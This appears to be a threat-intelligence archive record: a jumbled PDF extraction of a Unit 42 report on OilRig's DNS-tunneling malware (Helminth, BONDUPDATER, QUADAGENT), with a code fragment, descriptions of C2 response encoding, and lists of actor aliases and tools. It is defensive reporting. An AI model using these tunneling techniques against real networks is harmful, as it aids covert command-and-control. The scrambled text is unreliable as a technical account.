Updated\r\nd5c1822a36f2e7107d0d4c005c26978d00bcb34a587bd9ccf11ae7761ec73fb7\r\n7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00\r\nQUADAGENT\r\n1f6369b42a76d02f32558912b57ede4f5ff0a90b18d3b96a4fe24120fa2c300c\r\nSource: https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nhttps://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/\r\nPage 32 of 32\n\nthe Trojan for the answers, each query. For instance, so the C2 is only able the tools that to transmit 4-bytes issue DNS A queries per query, whereas transmit data tools using AAAA via IPv4 addresses queries can within transmit\n16-bytes within the IPv6 answer. Table 1 shows the tools and their variants covered in this blog with a focus on\nthe number of bytes of data the C2 can provide per query, the amount of characters used in the specially crafted\n   Page 2 of 32   \n\n29 Figure 3. Code in Helminth \"zz\" variant used to generate subdomains\n1 function GetSub($myflag2, $cmdid='00', $partid='000') \n2 {   \n   Page 6 of 32\n\n2 Table 4. Commands run based on the trailing Write data to \u003cfilename\u003e.vbs character in the filename   \nFigure 22 shows the C2 responding with “24.125.0[.]1”, which instructs BONDUPDATER to create a file named\n“01.ps1” to save the data. If the C2 wishes to terminate the Trojan, it would respond to the beacon with an IPv4\nanswer of “11.24.237[.]110”.      \nFigure 22. Original BONDUPDATER beacon and the C2 server responding with a filename and data within the\nIPv4 answers       \n   Page 19 of 32",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"references": [
		"https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/"
	],
	"report_names": [
		"dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling"
	],
	"threat_actors": [
		{
			"id": "e58deb93-aff1-4be5-8deb-37fe8af0b7ed",
			"created_at": "2022-10-25T16:07:23.918534Z",
			"updated_at": "2026-04-10T02:00:04.789509Z",
			"deleted_at": null,
			"main_name": "Greenbug",
			"aliases": [
				"Greenbug",
				"Volatile Kitten"
			],
			"source_name": "ETDA:Greenbug",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "cffb3c01-038f-4527-9cfd-57ad5a035c22",
			"created_at": "2022-10-25T15:50:23.38055Z",
			"updated_at": "2026-04-10T02:00:05.258283Z",
			"deleted_at": null,
			"main_name": "OilRig",
			"aliases": [
				"COBALT GYPSY",
				"IRN2",
				"APT34",
				"Helix Kitten",
				"Evasive Serpens",
				"Hazel Sandstorm",
				"EUROPIUM",
				"ITG13",
				"Earth Simnavaz",
				"Crambus",
				"TA452"
			],
			"source_name": "MITRE:OilRig",
			"tools": [
				"ISMInjector",
				"ODAgent",
				"RDAT",
				"Systeminfo",
				"QUADAGENT",
				"OopsIE",
				"ngrok",
				"Tasklist",
				"certutil",
				"ZeroCleare",
				"POWRUNER",
				"netstat",
				"Solar",
				"ipconfig",
				"LaZagne",
				"BONDUPDATER",
				"SideTwist",
				"OilBooster",
				"SampleCheck5000",
				"PsExec",
				"SEASHARPEE",
				"Mimikatz",
				"PowerExchange",
				"OilCheck",
				"RGDoor",
				"ftp"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "25896473-161f-411f-b76a-f11bb26c96bd",
			"created_at": "2023-01-06T13:46:38.75749Z",
			"updated_at": "2026-04-10T02:00:03.090307Z",
			"deleted_at": null,
			"main_name": "CHRYSENE",
			"aliases": [
				"Greenbug"
			],
			"source_name": "MISPGALAXY:CHRYSENE",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "c786e025-c267-40bd-9491-328da70811a5",
			"created_at": "2025-08-07T02:03:24.736817Z",
			"updated_at": "2026-04-10T02:00:03.752071Z",
			"deleted_at": null,
			"main_name": "COBALT GYPSY",
			"aliases": [
				"APT34 ",
				"CHRYSENE ",
				"Crambus ",
				"EUROPIUM ",
				"Hazel Sandstorm ",
				"Helix Kitten ",
				"ITG13 ",
				"OilRig ",
				"Yellow Maero "
			],
			"source_name": "Secureworks:COBALT GYPSY",
			"tools": [
				"Glimpse",
				"Helminth",
				"Jason",
				"MacDownloader",
				"PoisonFrog",
				"RGDoor",
				"ThreeDollars",
				"TinyZbot",
				"Toxocara",
				"Trichuris",
				"TwoFace"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "67709937-2186-4a32-b64c-a5693d40ac77",
			"created_at": "2023-01-06T13:46:38.495593Z",
			"updated_at": "2026-04-10T02:00:02.999196Z",
			"deleted_at": null,
			"main_name": "OilRig",
			"aliases": [
				"Crambus",
				"Helix Kitten",
				"APT34",
				"IRN2",
				"ATK40",
				"G0049",
				"EUROPIUM",
				"TA452",
				"Twisted Kitten",
				"Cobalt Gypsy",
				"APT 34",
				"Evasive Serpens",
				"Hazel Sandstorm",
				"Earth Simnavaz"
			],
			"source_name": "MISPGALAXY:OilRig",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "6bba8e81-73af-4010-86dc-d43c408ca342",
			"created_at": "2023-01-06T13:46:38.553459Z",
			"updated_at": "2026-04-10T02:00:03.021597Z",
			"deleted_at": null,
			"main_name": "Greenbug",
			"aliases": [],
			"source_name": "MISPGALAXY:Greenbug",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "b6436f7b-6012-4969-aed1-d440e2e8b238",
			"created_at": "2022-10-25T16:07:23.91517Z",
			"updated_at": "2026-04-10T02:00:04.788408Z",
			"deleted_at": null,
			"main_name": "OilRig",
			"aliases": [
				"APT 34",
				"ATK 40",
				"Chrysene",
				"Cobalt Gypsy",
				"Crambus",
				"DEV-0861",
				"EUROPIUM",
				"Earth Simnavaz",
				"Evasive Serpens",
				"G0049",
				"Hazel Sandstorm",
				"Helix Kitten",
				"IRN2",
				"ITG13",
				"Scarred Manticore",
				"Storm-0861",
				"TA452",
				"Twisted Kitten",
				"UNC1860",
				"Yellow Maero"
			],
			"source_name": "ETDA:OilRig",
			"tools": [
				"AMATIAS",
				"Agent Drable",
				"Agent Injector",
				"AgentDrable",
				"Alma Communicator",
				"BONDUPDATER",
				"CACTUSPIPE",
				"Clayslide",
				"CypherRat",
				"DNSExfitrator",
				"DNSpionage",
				"DROPSHOT",
				"DistTrack",
				"DropperBackdoor",
				"Fox Panel",
				"GREYSTUFF",
				"GoogleDrive RAT",
				"HighShell",
				"HyperShell",
				"ISMAgent",
				"ISMDoor",
				"ISMInjector",
				"Jason",
				"Karkoff",
				"LIONTAIL",
				"LOLBAS",
				"LOLBins",
				"LONGWATCH",
				"LaZagne",
				"Living off the Land",
				"MailDropper",
				"Mimikatz",
				"MrPerfectInstaller",
				"OILYFACE",
				"OopsIE",
				"POWBAT",
				"POWRUNER",
				"Plink",
				"Poison Frog",
				"PowerExchange",
				"PsList",
				"PuTTY Link",
				"QUADAGENT",
				"RDAT",
				"RGDoor",
				"SEASHARPEE",
				"Saitama",
				"Saitama Backdoor",
				"Shamoon",
				"SideTwist",
				"SpyNote",
				"SpyNote RAT",
				"StoneDrill",
				"TONEDEAF",
				"TONEDEAF 2.0",
				"ThreeDollars",
				"TwoFace",
				"VALUEVAULT",
				"Webmask",
				"WinRAR",
				"ZEROCLEAR",
				"ZeroCleare",
				"certutil",
				"certutil.exe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434594,
	"ts_updated_at": 1775792256,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6b55a646d2539b25590dfeea6188b04de77f661d.pdf",
		"text": "https://archive.orkl.eu/6b55a646d2539b25590dfeea6188b04de77f661d.txt",
		"img": "https://archive.orkl.eu/6b55a646d2539b25590dfeea6188b04de77f661d.jpg"
	}
}